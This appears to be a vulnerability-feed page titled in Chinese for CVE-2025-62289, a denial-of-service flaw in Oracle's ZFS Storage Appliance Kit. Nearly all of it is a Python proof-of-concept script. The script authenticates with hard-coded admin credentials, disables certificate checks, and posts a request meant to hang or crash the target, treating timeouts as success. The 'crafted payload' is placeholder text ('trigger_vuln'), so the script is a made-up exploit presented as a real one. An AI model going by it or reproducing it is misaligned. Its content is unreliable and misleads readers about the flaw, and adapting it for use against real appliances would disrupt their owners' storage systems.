CVE-2025-62289 Oracle ZFS存储设备文件系统拒绝服务漏洞

# CVE-2025-62289 - Oracle ZFS Storage Appliance Kit DoS Vulnerability PoC # This PoC demonstrates the conceptual attack vector for triggering DoS # Note: Requires high-privileged access to the target system import requests import sys TARGET_URL = "https://target-zfs-appliance:215" AUTH_USER = "admin" AUTH_PASS = "password" # Step 1: Authenticate with high-privileged credentials session = requests.Session() session.auth = (AUTH_USER, AUTH_PASS) session.verify = False # Step 2: Send crafted request to Filesystems component to trigger DoS # The vulnerability exists in the Filesystems component processing logic filesystems_endpoint = f"{TARGET_URL}/api/filesystems/operations" # Crafted payload targeting the vulnerable code path payload = { "operation": "filesystem_operation", "parameters": { "action": "trigger_vuln", "target": "/pool/dataset" } } try: # Step 3: Send malicious request to trigger hang/crash response = session.post(filesystems_endpoint, json=payload, timeout=30) print(f"[+] Response Status: {response.status_code}") print(f"[+] DoS triggered - target system may hang or crash") except requests.exceptions.Timeout: print("[+] Target system unresponsive - DoS successful") except requests.exceptions.ConnectionError: print("[+] Connection refused - target system crashed") except Exception as e: print(f"[+] Error: {e}")